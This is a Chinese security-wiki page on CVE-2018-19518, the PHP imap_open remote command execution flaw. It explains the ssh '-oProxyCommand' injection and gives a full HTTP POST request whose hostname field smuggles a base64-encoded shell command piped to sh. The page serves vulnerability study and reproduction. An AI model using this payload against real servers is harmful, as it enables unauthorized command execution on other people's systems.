menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-19518)PHP imap 远程命令执行漏洞 chevron_right (CVE-2018-19518)PHP imap 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-19518)PHP imap 远程命令执行漏洞.md
    1.12 KB / 2021-07-15 20:00:02
        (CVE-2018-19518)PHP imap 远程命令执行漏洞
    ===========================================
    
    一、漏洞简介
    ------------
    
    php
    imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
    
    因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
        POST / HTTP/1.1
        Host: www.0-sec.org
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 125
    
        hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
    
    ![1.png](./resource/(CVE-2018-19518)PHPimap远程命令执行漏洞/media/rId24.png)
    
    
    links
    file_download